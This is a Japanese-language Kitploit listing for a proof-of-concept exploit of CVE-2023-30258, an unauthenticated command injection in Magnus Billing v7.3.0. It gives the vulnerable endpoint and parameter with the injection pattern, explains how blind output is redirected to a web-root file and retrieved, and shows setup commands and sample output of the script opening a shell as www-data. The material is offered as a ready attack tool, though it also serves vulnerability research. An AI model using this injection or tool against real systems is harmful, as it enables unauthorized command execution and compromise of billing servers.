CVE-2023-30258-Magnus-Billing-v7-Command-Injection-PoC — Magnus Billing v7.3.0 における認証なしのコマンドインジェクション脆弱性。 | Kitploit

共有

CVE-2023-30258 — Magnus Billing v7 コマンドインジェクション (PoC)

Magnus Billing v7.3.0 における認証不要のコマンドインジェクションの脆弱性。icepay.php の GET パラメータ democ はサニタイズなしでシェル関数に直接渡され、Webサーバーユーザーとして任意のコマンド実行を許します。このインジェクションはブラインドです — 出力はHTTPレスポンスに反映されません — そのため、このエクスプロイトは各コマンドの出力をWebルート内のファイルにリダイレクトし、HTTP経由で取得します。

動作の仕組み

/mbilling/lib/icepay/icepay.php?democ=;<command>; にGETリクエストを送信します。
コマンド出力をWebルート内のファイル (out.txt) にリダイレクトします。
出力ファイルをHTTP経由で取得し、結果を表示します。
終了時に出力ファイルを削除します。

ターゲットが異なるWebルートパスを使用している場合は、スクリプト上部の OUTPUT_FILE を調整してください。

必要条件

Python 3
依存関係のインストール:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data